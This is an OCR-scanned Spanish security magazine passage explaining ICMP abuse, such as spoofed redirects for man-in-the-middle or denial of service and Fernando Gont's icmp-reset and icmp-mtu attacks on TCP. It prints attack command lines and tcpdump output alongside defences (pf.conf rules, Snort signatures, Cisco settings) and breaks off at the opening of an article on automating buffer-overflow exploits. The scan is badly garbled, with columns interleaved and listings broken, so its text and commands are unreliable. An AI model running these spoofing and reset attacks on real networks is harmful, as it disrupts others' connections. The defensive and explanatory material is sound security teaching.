largo del camino reduzca en 1 al
menos el TTL de un paquete IP
antes de reenviarlo. Si el paquete
no alcanza su destino, se devuelve
al origen un tiempo excedido en el
transito (TTL=0) del ICMP. Enton-
ces se envia otro paquete desde
el origen, con un TTL=2. Este es
un proceso que sucede de manera
repetitiva hasta que se alcanza el
destino.

Claro que esto sucede solo si
todos los nodos que se encuentran
en la ruta generan correctamente
el ICMP vy los paquetes UDP no se
filtran. Se utiliza el UDP en vez del
TCP, ya que el UDP lanza un men-
saje ICMP cuando el puerto no esta
a la escucha, mientras que el TCP
reenvia un paquete con RST/ACK.
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Los mensajes ICMP implicados ™
son: Listado 4. Envio de una peticion de la marca de tiempo utilizando la
herramienta sing
) tIpO 11 COdIgO 0 cuando no. se # sing -c 1 -tstamp 10.239.174.180
alcanza el puerto de destino, SINGing to 10.239.174.180 (10.239.174.180): 20 data bytes
desde el destino hacia el origen, 10240 bytes from 10.239.174.180: seq=0 tt1=128 TOS=0 diff=800917246*
. t|po 3 Cod|go 3 cuando se ||ega al ---10.239.174.180 sing statistics ---
destino. desde el destino hacia el 1 packets transmitted, 1 packets received, 0% packet loss
’ /
origen.
~
Ver en el Listado 2 un ejemplo y en el Listado 5. La marca de tiempo de la peticion/respuesta en el tcpdump
Listado 3 una salida tcpdump. ¢ tepdump ~ilel -nvX icmp
Vamos a intentar comprender 10.239.174.230 > 10.239.174.180: icmp: <
que sucedi6 en este rastreo. Primero, time stamp request (ttl 255, id 13170, len 40)
observemos que la salida tcpdump 0000: 4500 0028 3372 0000 ff01 l4ea Oaef aee6 E..(3r..y..é.iGe
no esta completa — se eliminaron 0010: Oaef aeb4 0400 b64a ebbc 0000 0244 4£04 .i® ..J&l...DO.
5 tes d da li 0020: 0000 0000 0000 0000 ...
paquetes de cada linea para una
mejor lectura. El host 192.168.1.3 ha- 10.239.174.180 > 10.239.174.230: icmp: <
ce una peticion DNS (en un router) time stamp reply (ttl 128, id 4727, len 40)
y el nombre fue resuelto (a través 0000: 4500 0028 1277 0000 8001 b4e5 Oaef aebd E..(.w.... &.i®
0010: Oaef aeeb 0e00 a542 eb6c 0000 0244 4£04 .i®x..¥B&l...DO.
de un cache ISP). El DEST.128.8
i 0020: b201 5602 b201 5602 0000 0000 0000 V.V
fue el host que se alcanzé. El host J
de origen gener6 un paquete UDP
con un TTL=1. La entrada redujo el . .. . . N
) ) . Listado 6. El destino inasequible del ICMP visto en el tcpdump
TTL de 1 a 0, lo descarté y reenvio
un mensaje tiempo excedido en tran- # tcpdump -nnx -i lel icmp
sito del ICMP. En el 3., otro paquete 10.173.217.2 > 10.173.217.50: icmp: <«
UDP con el TTL=2 fue generado por host 10.173.217.1 unreachable [tos 0xc0]
la fuente v la entrada ISP de punto 45c0 0038 0000 0000 1e01 d476 Oaad d902
y ” i p ] 0aad d932 0301 fcfe 0000 0000 4500 0020
extremo reenvia un tiempo excedido 3372 0000 ££01 cOdc Oaad d932 Oaad d901
en transito del ICML. La iteracion pa- 1100 478d 5972 4e00
so de 4. a 9., cada entrada enviaba
un paquete |CMP, hasta que en el 192.168.100.1 > 192.168.1.4: icmp: <+
10.. un paquete con el TTL=9 llegd net 10.173.120.29 unreachable
N paq ; g 4500 0038 alle 0000 fe0l 3560 c0a8 6401
a su host de destino. El host reenvid c0a8 0104 0300 ab3a 0000 0000 4500 0030
un mensaje ICMP de puerto UDP no alle 4000 7£06 1643 c0a8 0104 Oaad 781d
asequib[e_ 0674 2516 3264 £3d6
\_ /

Este mecanismo es bastante seguro,
aunque es obvio que puede utilizar-
se en el reconocimiento. Si el host
de destino reenvia un mensaje de
puerto UDP no asequible, esta vivo
y funciona. La simple deteccién de
huellas digitales también puede rea-
lizarse en base al TTL.

La marca de tiempo de
la peticidon/respuesta
del ICMP

Los paquetes de marca de tiempo
de la peticién/respuesta del ICMP se
utilizan para medir la cadencia de la
red, manipulando el tiempo de retar-
do de los paquetes.

Los mensajes ICMP implicados son:

la

la peticion de la marca de tiempo
tipo 3 desde el origen hacia el
destino, colocando la marca de
tiempo que se origina,

la respuesta de la marca de
tiempo (tipo 14) desde el destino
hacia el origen, incluyendo la
marca de tiempo que se origina
(tiempo de origen), la marca de
tiempo de recibimiento (tiempo
de destino) y la marca de tiempo
de la trasmision de la respuesta
(tiempo de destino).

Ver en el Listado 4 un ejemplo, en

Figura 3 observa el formato del

mensaje y en el Listado 5 la salida
tcpdump.

La respuesta de la marca de tiempo
nos revela mas sobre las caracteris-
ticas del funcionamiento de esa red
de lo que nos gustaria revelarle a los
usuarios fuera de la red local. Por es-
ta razon, el RFC 1122 establece que
los mensajes de consulta de la peti-
cién de la marca de tiempo del ICMP
y la respuesta de la marca de tiempo
son completamente opcionales. Esta
claro que esta informacion puede ser
utilizada para el reconocimiento y la
deteccion de huellas digitales, basa-
dos en los valores TTL.
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Tipo Codigo Suma de Control

Este mensaje es utilizado por el
router/firewall para informar al remi-
tente sobre los host/redes con des-
tino no asequible. Es posible que el
host no exista; pero también es posi-
ble que ese host esté temporalmente
desactivado.

Los mensajes ICMP implicados
son:

Identificador Numero de la secuencia

Crea marca de tiempo

Recibe marca de tiempo

Transmite marca de tiempo

* red no asequible (tipo 3 cédigo 0)
desde el router hacia el host,

* hostnoasequible (tipo 3 codigo 1)
desde el router hacia el host,

» protocolo no asequible (tipo 3

El formato del mensaje de la marca de tiempo de la peticion/
respuesta del ICMP

caodigo 2) desde el router hacia el 0 4 8 16 31
host. Tipo Codigo Suma de Control 4 bytes
Ver en el Listado 6 un ejemplo del 4 bytes

. . . i Direccion IP del router
mensaje de destino inasequible en

la salida tcpdump.

Encabezado IP + 64 bits de los datos originales del datagrama

Si los routers de tu red envian este
tipo de mensaje, entonces un intruso
puede mapear facilmente la red.

El formato del mensaje ICMP redirect

CAWINDOWS\system32\cmd.exe

Active Routes
Network Destination Gateuay
192.168.1.

6.a. 1

Este tipo de mensaje es utilizado

por un router/firewall para informar
a la fuente sobre una ruta favorita
hacia el host de destino seleccio-
nado. El router envia un paquete al
destino y un ICMP lo redirecciona
a la fuente que contiene la entra-
da alternativa, lo que provoca un
cambio en la tabla de routing de la
fuente. El router que lanza el ICMP
redirect tiene que estar en la mis-
ma subred que la fuente y la nueva
entrada.

Los mensajes ICMP implicados
son:

* tipo 5 code 1 desde el router ha-
cia el host.

La Figura 4 muestra el formato del

mensaje de ICMP redirect.

Un usuario con malas intenciones
puede cambiar la tabla de routing
de un host para redireccionar el

hakin9 N° 2/2006

192.168.1.255

224.0.

224.0.
255.255.255.
5 255 2

stent Route
None

sk
3.0
.8
.8
5
55
.8
5
5
.8
.a
5
c

127.6
169. 254 128.58
27. .1
169. “54 120.58
192.168.1.4

127.0.8.1
192.168.1.4

192.16
lﬁq 254.128. 58
168.1.4

7.0.0.1
169.254.120.50
127.6.8.1
169.254. 128 50
192 -1.4
1/7 B 8.1
192.168.1.4
169.254!éaB.EB

La tabla de routing del Windows XP SP2 antes de la redireccion

ov CAWINDOWS \system32\cmd. exe =[0] %]

Active Routes:

Network Destination

=
=
=

sistent Route

None

NEONARNIEOO®E

Netmask

Gateuay
192.168.1.1
1?2 168.1.2

.8.48.1
169. 284 120.5@
27

192.168.1.4
127.0.08.1
192.168.1.4

192.168.1.4

Interface
192.168.1.4
1 2

192.168.1.4
169.254.128.58
192.168.1.4
169.254.120.50
192.168.1.4

Hetric

La tabla de routing del Windows XP SP2 después del

redireccionamiento
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El abuso del protocolo ICMP

trafico hacia un host man-in-the-
middle (para el rastreo) o hacia una
ruta de agujero negro para cortar la
conexion (DoS), con la ayuda de la
falsificacion.

La Figura 5 muestra una tabla
de routing del Windows XP SP2.
Observa la entrada predterminada:
192.168.1.1. Se puede enviar un
ICMP redirect desde otra maquina,
eg. 192.168.1.2:

# sing -red -S 192.168.1.1 \
-gw 192.168.1.2 \
-dest 0.0.0.0 -x host \
-prot tcp -psrc 100 \
-pdst 90 192.168.1.4

Basicamente, queremos enviar un
ICMP redirect en nombre del router
(falsificado usando una -s) a una
maquina de Windows (192.168.1.4)
para modificar su tabla de routing
de manera que coloque a la ma-
quina 192.168.1.2 como la entrada
predefinida, en respuesta a una pe-
ticién eco del ICMP enviada con el
ID 100 y la secuencia numero 90. El
Listado 7 muestra la salida tcpdump
y en la Figura 6 aparece una tabla de
routing modificada. Como podemos
ver, el ataque funciona.

En Windows, para evitar es-
te tipo de ataques todo lo que
tenemos que hacer es poner el
EnableICMPRedirect en 0 bajo la
siguiente clave del registro: HKEY _
LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services\Tcpip\
Parameters.

Es necesaria la

fragmentaciéon ICMP
El tipo de mensaje ICMP fragmen-
tation required but DF set se utiliza
en un router/firewall para informar
al remitente sobre la necesidad de
la fragmentaciéon cuando el bit DF
(don't fragment) esta configurado en
los paquetes originales. El mensaje
de error contiene el MTU de la red
que necesita la fragmentacion.

Los mensajes ICMP implicados
son:

» tipo 3 codigo 4 desde el dispositi-
vo de filtrado hacia el origen.

Tipo Cadigo Suma de Control 4 bytes

No utilizado Vinculo MTU 4 bytes

Encabezado IP + 64 bits de los datos originales del datagrama

Figura 7. El formato del mensaje ICMP, Fragmentation Needed but the
Don’t Fragment Bit was set

Tipo Cadigo Suma de Control

Identificador Numero de la secuencia

direccion de mascara de subred

Figura 8. El formato del mensaje ICMP Address mask request/reply

Listado 7. EI ICMP redirect visualizado en el tcpdump

192.168.1.1 > 192.168.1.4: icmp: <«

redirect 0.0.0.0 to host 192.168.1.2
4500 0038 3372 0000 ££f01 04fd c0a8 0101
c0a8 0104 0501 b87f c0a8 0102 4500 0038
4a2f 0000 ££f06 afed c0a8 0104 0000 0000
0064 005a c010 c005

J
Listado 8. Ejemplo de la direccién de mascara de peticién/respuesta
# sing -mask 10.173.217.2
10.173.217.50 > 10.173.217.2: icmp: address mask request
4500 0020 3372 0000 ff01 cOdb QOaad d932
0aad d902 1100 a38c 1£73 2c00 0000 0000
10.173.217.2 > 10.173.217.50: icmp: address mask is OxffffffcO
4500 0020 3372 0000 4001 7fdc Oaad d902
O0aad d932 1200 aZcb 1f73 2c00 ffff ffcO
0£00 0000 00f4 5800 bObf 0000 00f4
) ) ) ) N
Listado 9. Un ataque icmp-reset visualizado en el tcpdump
# tcpdump -ilel -nnv icmp and host 192.168.1.4
10.10.228.237 > 192.168.1.4: <«
icmp: 10.10.228.237 protocol 6 unreachable for <
192.168.1.4.3763 > 10.10.228.237.80: 3634163930 <«
[[tep] (ttl 211, id 28211, len 576) (ttl 214, id 31456
/ - . . . .
Listado 10. La reaccidn contra un ataque icmp-reset visualizado en el
tcpdump
# tcpdump -ilel -nn 'tcp[13] & 4 != 0'
192.168.1.4.3763 > 10.10.228.237.80: <«
R 1428640266:1428640266(0) ack 667972724 win 0 (DF)
_ J
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La Figura 7 contiene el formato del
mensaje ICMP fragmentation requi-
red but DF set.

Este tipo de mensaje puede ser usa-
do para el reconocimiento, ya que
permite a un intruso comprobar la
productividad de la ruta para planifi-
car un ataque DoS.

La direccién de
mascara de la peticion/
respuesta ICMP

Este mensaje se emplea para obte-
ner el valor de la direccion de mas-
cara. Por ejemplo, los sistemas sin
disco necesitan obtener sus masca-
ras por si mismos.

Los mensajes ICMP involucra-
dos son:

« tipo 17 codigo O desde el origen
hacia el destino para la peticion
de mascara,

» tipo 18 cédigo 0 desde el destino
hacia el origen para la respuesta
de mascara.

La Figura 8 muestra el formato
del mensaje ICMP Address mask
request/reply y el Listado 8 ilustra
un ejemplo.

Este es otro tipo de mensaje ICMP
que permite que el host de envio
haga el reconocimiento, pues el
remitente puede mapear facilmente
la subred. No obstante, este tipo de
ICMP esta obsoleto y se utiliza muy
poco.

El ICMP contra el TCP
Fernando Gont hizo un trabajo in-
teresante con este tipo de ataques
y los describié en el borrador de
Internet ICMP attacks against TCP
(ver el recuadro En la red). Este ata-
que incluye basicamente:

* blind connection-reset
a ciegas de la conexion),

* blindperformance-degrading (de-
gradacion a ciegas del funciona-
miento),

(reset

hakin9 N° 2/2006

2210.239.5.41 - PuTTY

PuTTY Fatal Error

Q Network error: Software caused connection abort

Figura 9. La suspension de la conexion Putty por medio de la herramienta

icmp-reset

Listado 11. Un ataque icmp-reset que conduce a la suspension de la

conexion sin un cliente Putty

# icmp-reset -c 10.239.7.27:1040-1060 -s 10.239.5.41:22 -t client -r 56
# tcpdump -ilel -nn host 10.239.5.41 and port 22

10.239.7.27.1049 > 10.239.5.41.22: <
782249187:782249187(0)

S [tcp sum ok]

<mss 460, nop,nop, sackOK> (DF)
S [tcp sum ok]
<mss 1460, nop, nop, sackOK> (DF)

(...)

10.239.5.41 > 10.239.7.27: <«

icmp: 10.239.5.41 protocol 6 unreachable <+
for 10.239.7.27.1049 > 10.239.5.41.22:

[ltcp] (ttl 206, id 57166, len 576)
(..2)

10.239.5.41 > 10.239.7.27: <+

icmp: 10.239.5.41 protocol 6 unreachable <«
for 10.239.7.27.1049 > 10.239.5.41.22:

(ttl 234, id 63018, len 576)

[Itep]

win 16384 §
(ttl 127, id 23641,
10.239.5.41.22 > 10.239.7.27.1049: «

4070582427:4070582427(0)
(ttl 64, id 0,

len 48)

ack 782249188 win 5840 <«
len 48)

1144805691 <«

1512665611 «

» blind throughoutput-reduction (re-
duccién a ciegas de la producti-
vidad).

Las herramientas también han sido
preparadas como proof of concept
(prueba de concepto). Veamos como
usar estas herramientas para com-
probar si la puesta en practica del
TCP/IP de tu sistema es vulnerable
a tales ataques.

Este tipo de ataque se utiliza para rei-
niciar la conexién ya sea desde el ori-
gen o desde el destino de la conexion
TCP. El atacante so6lo necesita saber
la Ip y el puerto de origen/destino.
Hay muchas conexiones para las que
estos cuatro valores son reconocidos,
tales como los transfers de zona BGP
y DNS.

www.hakin9.org

Cuando un host recibe un ICMP
tipo 3 codigo 2, 3 6 4, inmediatamen-
te aborta la conexion, a causa de la
funcion de recuperacion TCP involu-
crada en este tipo de error conside-
rado hard error por el RFC 1122. Una
de las herramientas proof of concept
de Fernando se puede utilizar para
poner un ejemplo:

# icmp-reset \
-c 192.168.1.4:3000-4000 \
-5 10.10.189.73:80 \
-t client -r 128

Si se conoce la conducta del cliente,
podemos especificar un rango del
puerto de origen. La herramienta es
capaz de probar todos los puertos
en el rango de 0-65535. El ejemplo
anterior requiere que se envien solo
1000 paquetes. Después de com-
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Listado 12. El ataque icmp-mtu visualizado en el tcpdump
10.239.5.41:22 > 10.239.7.27.1058: -
20745:22225(1480) ack 0 win 5840 (DF) (ttl 64, id 64416)
10.239.7.27.1058 > 10.239.5.41:22: «
[tcp sum ok] ack 48281 win 16384 (DF) (ttl 127, id 34764
10.239.7.27.1058 > 10.239.5.41:22: «
[tcp sum ok] ack 68161 win 16384 (DF) (ttl 127, id 98023
10.239.5.41:22 > 10.239.7.27.1058: -
22225:23705(1480) ack 0 win 17040 (DF) (ttl 64, id 23658)
10.239.7.27.1058 > 10.239.5.41:22: «
[tcp sum ok] ack 69581 win 16384 (DF) (ttl 127, id 65789
10.239.5.41:22 > 10.239.7.27.1058: «
23705:25185(1480) ack 0 win 5840 (DF) (ttl 64, id 87436)
10.239.7.27.1058 > 10.239.5.41:22: -
[tcp sum ok] ack 71001 win 16384 (DF) (ttl 127, id 78413
10.239.5.41:22 > 10.239.7.27.1058: «
25185:26665(1480) ack 0 win 5840 (DF) (ttl 64, id 98127)
10.0.0.1 > 192.168.0.1: icmp: <
10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 65896)
10.239.5.41:22 > 10.239.7.27.1058: . <«
83848:84320(472) ack 0 win 5840 (DF) (ttl 64, id 56897)
10.239.5.41:22 > 10.239.7.27.1058: . <
84320:84792(472) ack 0 win 5840 (DF) (ttl 64, id 77884)
10.239.5.41:22 > 10.239.7.27.1058: . <«
84792:85264(472) ack 0 win 5840 (DF) (ttl 64, id 45902)
10.239.5.41:22 > 10.239.7.27.1058: . <«
85264:85736(472) ack 0 win 5840 (DF) (ttl 64, id 98542)
10.0.0.1 > 192.168.0.1: icmp: <
10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 62154)
10.239.5.41:22 > 10.239.7.27.1058: . <«
81004:81476(472) ack 0 win 5840 (DF) (ttl 64, id 67554)
10.239.5.41:22 > 10.239.7.27.1058: . <«
81476:81948(472) ack 0 win 5840 (DF) (ttl 64, id 44688)
10.239.5.41:22 > 10.239.7.27.1058: . <
81948:82420(472) ack 0 win 5840 (DF) (ttl 64, id 87327)
10.239.5.41:22 > 10.239.7.27.1058: . <«
82420:82892(472) ack 0 win 5840 (DF) (ttl 64, id 65876)
J
pletar el ciclo se reiniciara desde el  reestablecera la conexion una

puerto 3000, de modo que el cliente
reestablece la conexion justo des-
pués del reinicio, la herramienta

y otra vez.
La aplicacion fue probada en un
dispositivo de red que descarga los

archivos desde un servidor web.
La opcion -c significa cliente (IP:
src port), la -s significa servidor
(IP:dst port), la -t especifica el
objetivo (target) que reestablece la
conexion (cliente o servidor), y por
ultimo la -r significa el indice (rate),
que limita el usuario de ancho de
banda para el ataque (en kbps).
Por defecto a otros campos se le
asignan valores aleatorios y se en-
vian los mensajes del ICMP tipo 3
codigo 2. El Listado 9 muestra la
salida tcpdump. El cliente reaccio-
na abortando la conexién y envian-
do un paquete RST al servidor web
(ver el Listado 10).

La herramienta se ha probado
en un par de maquinas de Micro-
soft (por favor consulta esta vulne-
rabilidad en el Boletin de Seguridad
de Microsoft MS05-019 (893066)).
En una maquina con Servidor de
Windows 2003 Enterprise Edition
sin parche, la herramienta aborto
la conexidon con un cliente Putty,
como se aprecia en la Figura 9.
El Listado 11 muestra en detalle el
ataque.

Este ataque se utiliza para degra-
dar el funcionamiento durante la
conexion TCP. El host cree que
esta enviando paquetes que son
mas grandes que el actual PMTU.
Esto reduce el funcionamiento
de la transferencia y aumenta la

ext if = "nel"
prv_if = "ne2"
srv mail ="192.168.1.5/32"

my bsd ="192.168.1.4/32"
(v.2)

# Let the admin bsd machine ping

pass
pass
pass
pass

Listado 13. La parte ICMP del archivo pf.conf del autor

# Block all inbound TCP requests on port 133, sending back ICMP unreachable

block return-icmp in quick on Sext if proto tcp from any to $srv_mail port auth

pass in on $prv_if inet proto icmp from $my bsd to any icmp-type 8 code 0 keep state
pass out on $ext if inet proto icmp from $my bsd to any icmp-type 8 code 0 keep state

# Let the admin bsd machine receive time to live exceeded in transit and udp port unreachable
in on $ext if inet proto icmp from any to $my bsd icmp-type 11 keep state
out on $prv_if inet proto icmp from $my bsd to any icmp-type 11 keep state
in on $ext if inet proto icmp from any to $my bsd icmp-type 3 code 3 keep state
out on S$prv if inet proto icmp from $my bsd to any icmp-type 3 code 3 keep state

~
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Las reglas del Snort ICMP

El Snort viene con las icmp-info.rules y las icmp.rules. Analizando estas reglas surge
una buena idea sobre como podria abusarse del ICMP. Observemos una de las firmas
de las icmp-info.rules:

alert icmp SEXTERNAL NET any -> <+
SHOME_NET any (msg:”ICMP PING”; icode:0; itype:8; <
classtype:misc-activity; sid:384; rev:5;)

Esto significa: sélo avisame con un mensaje ICMP PING, si alguien del exterior intenta

acceder a mired, o

alert icmp SEXTERNAL NET any -> <+
S$HOME_NET
reference:arachnids, 135; reference:cve,1999-0265; <+

sid:472;

any (msg:”ICMP redirect host”; icode:1; itype:5; <+

classtype:bad-unknown; rev:4;)

Esto significa: avisame cuando haya un mensaje ICMP redirect host, si alguien desde
el exterior intenta cambiar el routing del host dentro de mi red. En este tipo de mensajes
también obtenemos una referencia, si existe, como las exposiciones comunes de las
vulnerabilidades.

utilizacion de la CPU. Este mismo
indice de transferencia de datos
necesitara muchos mas paquetes

Ejemplo:

# icmp-mtu \

(ya que el TCP enviaria paquetes -c 10.239.7.27:1040-1060 \
mas pequenos), y el aumento del -5 10.239.5.41:22 \
indice de paquetes aumenta la car- -t server -r 56 \

ga de la CPU. -D 300 -m 512

Cuando un host recibe un men-

saje ICMP tipo 4 cdodigo 0, debe
disminuir la velocidad en la que se
envian los datos. Esto permite que el
atacante reduzca el rendimiento total
en el vinculo a través de la ruta.

La opcién -p 300 tiene que ver con
los 300 segundos de descanso an-
tes de realizar otra ronda, mientras
que el -n 512 pone a la Ruta MTU
en 512 bytes (por defecto el MTU se

El filtrado correcto del ICMP

Muchos documentos recomiendan que todo el ICMP debe ser bloqueado. De he-
cho, la configuracion correcta del ICMP asegurara el funcionamiento eficiente de la
red, permitira la correcta monitorizacion de los servicios y ayudara en la solucion de
problemas. Por lo tanto es aconsejable:

» establecer el filtro anti-spoof y ser restrictivo con el origen/destino de los paque-
tes,

+ activar el filtrado a fondo,

» pasar por los ICMP Unreachable, ICMP Unreachable Need to Fragment (utiliza-
dos por la Ruta MTU para determinar la configuracion éptima del MTU) y ICMP
Time Exceeded in Transit entrantes y salientes (el TTL expird en el transito
utilizado por traceroute del *NIX 'y el tracert de Windows; el traceroute de *NIX
utiliza igualmente un puerto UDP alto; este mensaje también es importante
cuando ocurren los bucles de routing),

» pasar por la ICMP Echo Request que sale de los hosts internos,

» si es posible, aplicar la limitacion del ritmo del ICMP para mitigar los efectos
del flujo ICMP (una tecnologia llamada Committed Access Rate (CAR) admite
este tipo de filtrado).

Todos los ICMP restantes deben ser bloqueados.

N
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fijara en 68, el valor mas pequefio
posible). Ver en el Listado 12 los
resultados del tcpdump.

Blind throughput-
reduction

Este tipo de ataque se utiliza para
disminuir la velocidad de la conexion
ya sea desde el origen o desde
el destino de la conexion TCP. El
atacante solo necesita saber la
combinacion de la IP y el puerto
de origen/destino. Cuando un host
recibe un mensaje ICMP tipo 4 co6-
digo 0, debe disminuir el ritmo en el
cual envia los datos. Esto permite al
atacante reducir el rendimiento total
de la ruta.

En circunstancias normales el
cliente publica una ventana de X
bytes. En este caso tiene espacio
en el buffer paralos X bytes de da-
tos (el control del flujo TCP). Des-
pués de un apreton de manos en
tres direcciones, una conexion TCP
comienza en el estado apodado co-
mo slow start (inicio lento), donde
el TCP ajusta su ritmo de transmi-
sion, basandose en el ritmo en el
que se reciben los reconocimientos
desde el otro extremo. EI TCP slow
start se pone en practica utilizando
dos variables: cwnd (Congestion
Window) y la ssthresh (Slow Start
Threshold). La cwnd es una restric-
cién auto-impuesta de las ventanas
de trasmisién en el extremo del re-
mitente, esta aumentara segun el
TCP se acostumbre a manipular el
trafico sin problemas. La ssthresh
es el umbral para determinar el
punto en el que el TCP sale de su
fase de slow start.

Si la cwnd aumenta mas alla de
la ssthresh, se considera que en esa
direccion la sesion TCP esta fuera de
la fase slow start. Después de pocas
interacciones de ida y vuelta, la cwnd
excedera a la ssthresh y aqui la
sesion puede considerarse que esta
fuera de la slow start, lo que significa
que la conexién TCP ha alcanzado un
estado optimo, en el que la cwnd se
corresponde estrechamente con la
capacidad de la red. A partir de aqui
la ventana de congestién se movera
de manera lineal.
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Un mensaje ICMP source quen-
ch coloca a la conexion en una fase
de slow start repetidamente, y el
servidor so6lo envia un segmento, asi
que el rendimiento de la conexion se
limita a un paquete por RTT (Round
Trip Time). Se puede observar un
ejemplo de esto en el sitio web de
Fernando Gont (ver el recuadro En
la Red).

La defensa contra los
ataques ICMP

El problema con la manipulacién
del ICMP es la necesidad de un
filtrado a fondo. El ICMP no se
percata del estado como el UDP,
asi que rastrear la conexién con los
mensajes de respuesta del ICMP
a los problemas no transitorios es
dificil. Mientras que los mensajes
de peticion/respuesta son faciles
de manipular porque tenemos un
estimulo y una respuesta, éste es
el unico caso en el que el ICMP
puede ser considerado como es-
table.

La mayor parte de la defensa en
el ICMP se aplica en el perimetro.
Por ejemplo en un router Cisco
esta disponible un comando no ip
unreachables (no hay ip asequi-
bles), lo que provoca que el router
deje de enviar mensajes ICMP tipo
3 cuando un host no es asequible.
También hay un comando no ip
directed-broadcast (no hay ip de
transmision dirigida) que evita
el trafico en las direcciones de
transmision (por ejemplo el ataque
smurf), y el no ip source-route (no
hay ip de ruta de origen) que desac-
tiva el routing de origen. Sin embar-
go, no hay no ip redirects (no hay
redireccionamiento ip) para evitar
modificaciones maliciosas de la ru-
ta. Los mensajes de redireccion del
ICMP deben bloquearse utilizando
el filtro apropiado en el router, que
realiza el filtro de ingreso, mientras
que el fragmentation required (es
necesaria la fragmentacién) debe
ser permitido para evitar la frag-
mentacion.

El firewall utilizado debe ser ca-
paz de manipular el ICMP y permitir
la especificacién de los tipos y codi-
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gos. Si utilizas el filtro de paquetes
OpenBSD, el Listado 13 muestra
como poner en practica la proteccion
contra los ataques ICMP en el PF. El
OpenBSD es una buena opcién pues
no solo tiene un registro impresio-
nante de seguridad, sino que tam-
bién es capaz de realizar un filtrado
a fondo para el ICMP, los mensajes
de error acerca del TCP y el UDP se
corresponden con la conexion a la
que estos pertenecen (la opcién keep
state), y ha sido el primer sistema
operativo en poner en practica todo
un conjunto de contramedidas para
los ataques basados en el ICMP.

También debe configurarse un
sistema de deteccién de intrusos,
que observe la actividad anormal
del ICMP. El Snort (ver el recuadro
Las reglas del Snort ICMP) incluye
archivos de firma para el trafico
ICMP potencialmente dafino. Estas
firmas detectan a la mayoria de he-
rramientas de escaneo y abusos en
el trafico ICMP tales como el redirec-
cionamiento del host.

Por ultimo, antes de poner en
practica la proteccién ICMP y blo-
quear casi todo el trafico ICMP,
vale la pena considerar si merece
el esfuerzo. Aunque un bajo nivel de
proteccion puede permitir a los intru-
sos que hagan un reconocimiento
mas rapido antes de un ataque, al
mismo tiempo permitira que ciertos
servicios funcionen de manera mas
fluida (por ejemplo devolver desti-
nation unreachable en el puerto TCP
113 ayuda a que sean mas rapidas
las conexiones completas de envio
de correo sin tener que esperar
a que cesen).

La proteccion contra los ata-
ques ICMP no es dificil, y aunque
el ICMP se considera relativamente
dafino en tarminos de amenazas
potenciales a la seguridad, si no
se toman las medidas adecuadas
la red puede sufrir. Por lo tanto, en
vez de tomarselo a la ligera, hay
que asegurarse de que existe una
proteccién adecuada. ®

p
En la Red

*  hitp://www.sans.org/rr
— el salon de lectura,

— la herramienta Sing
*  http://www.gont.com.ar

Standards.htm

»  http://sourceforge.net/projects/sing

— el ICMP contra las herramientas de ataque TCP,
*  http://www.microsoft.com/technet/security/bulletin/MS05-019.mspx
*  http://www.tcpipguide.com/free/t ICMPOverviewHistoryVersionsand-
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Programacion

Automatizando el proceso
de explotacion de
vulnerabilidades en Linux x86

Stavros Lekkas

Grado de dificultad
000

cosas.
[

codigo compilado, y que no tienes la suerte

de tener su codigo fuente. Mas aun, imagina
que este codigo tiene todas las caracteristicas
que indican una posible vulnerabilidad frente
a sobrecargas del buffer. Como el analisis del
desensablaje de este cédigo es extremadamente
largo y complejo, seria muy util una herramienta
que pudiera automatizar el proceso de explota-
cién de esta vulnerabilidad. Veamos como hacer
posible una herramienta como esta.

Decir que un programa contiene un error
de sobrecarga de buffer basado en el stack
implica, indirectamente, que existe un lugar,
el buffer, donde se copian los datos. Estos bu-
ffers existen en el stack y son sefializados por
direcciones. Lo que es mas, cuando los datos
se copian, las fronteras no se comprueban, lo
que produce riesgo de sobrecarga. Tras sobre-
cargar un buffer, otros segmentos fuera de su
ambito también se sobreescriben. La manipu-
lacion efectiva de tales segmentos con datos
validos lleva al control del flujo de ejecucion del
programa usando simplemente direcciones de
sefalizacion validas.

Los datos mencionados, que son situados
en el buffer, a veces son entradas del usua-

I maginate que te encuentras con una pieza de
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(La inspeccion de binarios pre-compilados para buscar
fallos es una responsabilidad bastante pesada para quienes
hacen pruebas de penetracion. Una herramienta que pudiera
identificar errores de sobrecarga de buffer y producir el cédigo
de la explotaciéon de vulnerabilidades nos facilitaria mucho las

rio. El programa puede aceptar entradas de
usuario de muchas formas posibles, como
argumentos o parametros del programa,
variables de entorno, interruptores, incluso
entradas de programas de tiempo de eje-
cucion recibidas usando las funciones libc
gets (), scanf(), etc. Como cada una de estas
formas de proporcionar datos tiene su propia
historia, nos centraremos en los argumentos

g
En este articulo aprenderas...

* como identificar este tipo de errores sin tener el
caédigo fuente,

* los pasos necesarios para aprovechar esta
vulnerabilidad,

* los criterios que componen un patréon genérico
de cédigo de exploit,

* los motivos por los que es Util esta automatiza-
cion.

Lo que deberias saber...

* programacion basica C en Linux,
* cOmo usar el sistema operativo Linux,
+ como funciona el stack de Linux.

N




Automatizacion de la explotacién de vulnerabilidades

Fuzzing

Fuzzing significa actuar utilizando L6-
gica Fuzzy. La Légica Fuzzy funciona
con ambigliedades y trata de cate-
gorizar la incertidumbre y clasificarla
utilizando las matematicas. El conjunto
de todos los numeros enteros en mate-
maticas tiene una cardinalidad infinita,
como también sucede con los nimeros
reales, etc. Sin embargo, en lo que
atafie a los ordenadores, todo es finito,
y los calculos con operaciones real-
mente grandes pueden fracasar.

J

de programa como nuestro vector
de ataque.

Es crucial mencionar que el con-
cepto de la automatizacién no tiene
nada que ver con la logica fuzzy,
y la herramienta no esta asociada
a las técnicas de fuzzing. Tratar
de localizar vulnerabilidades espe-
cificas inspeccionando los datos
generados por entradas deliberadas
no es fuzzing (véase el Recuadro
Fuzzing).

En nuestra busqueda de caminos
para controlarel zeip (véase Figura 1)
a través de argumentos, tenemos
que razonar sobre lo que vamos
a encontrar. Por ejemplo, si tenemos
un ejecutable binario, éste puede ser
vulnerable o no serlo. La primera
hipoétesis puede ser traducida como
el argumento nésimo es vulnerable
0 es no vulnerable, y si lo es, hay
una distancia finita que debe relle-
narse con caracteres para llegar al
seip. Ajustando estos requisitos para
rangos de valores predefinidos es
util para la creacién de un modelo
de construccion cohexionada en un
entorno finito.

Argumentos de
programa

Muchos ejecutables ELF reciben
argumentos antes de iniciar su
ejecucion. Un ejemplo tipico es
el comando rm, donde tenemos
que proporcionar como parametro
aquello que queremos borrar. Ima-
ginemos un ejecutable ELF, a.out,
que imprima un flujo de caracteres
como los que se proporcionan para
el primer argumento.

El argumento

[AAAAAAAAA]

